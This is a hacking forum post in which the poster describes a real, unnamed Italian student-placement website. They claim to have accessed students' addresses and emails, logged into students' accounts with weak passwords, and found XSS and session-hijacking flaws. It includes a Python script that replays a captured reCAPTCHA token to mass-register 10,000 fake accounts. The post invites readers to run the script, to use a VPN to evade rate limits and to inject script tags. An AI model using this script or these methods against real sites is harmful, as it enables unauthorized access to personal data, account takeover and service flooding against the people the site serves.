

Forum:[Hack Forums](#)

Thread: [vulnerable website to xss and csrf](#)

Jfndf - March 13, 2024, 8:06 am

[deleted]

i found this website to be vulnerable to xss and csrf. I made an account as an 'azienda', company in english, and by doing that you can view all students of this course.

Since i am a 'company' the website allows me to view very personal info about this people including where they live and emails. So, i tried logging in as a student with some of those emails, and turns out some of them have as a password '1234', safest password imo. in these accounts you can change your info and every input is vulnerable to xss also i tried csrf and in theory i can log in without username and password using their phpsessionid. There are probably other vulnerability that i didn't wanna check for. One thing though that i managed to do is bypassing the recaptcha that this website uses to create an account. basically i intercepted the post parameters to this url [deleted]/profili/inserimento/salva_profilo.php with burpsuite and pasted in a valid recaptcha response token and i managed to login. I made a little script in python to do this:

```
import requests
from concurrent.futures import ThreadPoolExecutor
import time
url = '/profili/inserimento/salva_profilo.php'
```

```
def make_request(i):
```

```
    data = {
        'Giorno1': 'value',
        'Mese1': 'value',
        'Anno1': 'value',
        'Nome': 'Andrew',
        'Cognome': 'Tate',
        'Indirizzo': 'value',
        'paese': 'value',
        'provcitta': 'value',
        'citta': "value",
        'Cap': 'value',
        'Telefono': 'value',
        'Cellulare': 'value',
        'Mail': "value",
        'Cittadinanza': 'value',
        'sesso': '1',
        'pwd': "",
        'pwd1': 'value',
        'codver': 'value',
        'g-recaptcha-response':
```

```
'FcWeA4mjtjesaETSVNyvQTkPBFcIPRB7KvHuzzfXWyaRQVYUD13K0FMHwhtxFjGAXdRayZcwlz
R4vZu0F0foiB6kezp1n3x42bX_S2YfZmyKhBc2JCM2TygXHpJ-EifVvulkXHAvGmz5K0oE3D3yifBq
GF1VTHsGZ9RU2nOPeCjWaMSlbOMj4jumZdy9oP4sgTcw',
```

```
    'nomef': "x"
}
```

```
response = requests.post(url, data=data)
```

with ThreadPoolExecutor(max_workers=100) as executor:

```
    executor.map(make_request, range(10000))
```

try it out and watch the profiles counter go up. though at some point connections coming from the ip making requests times out so u can use a vpn to continue flooding with accounts. Oh, and of course in the data object u can change the values with a script tag to play around. Since im a new member i cant post links so add modify the urls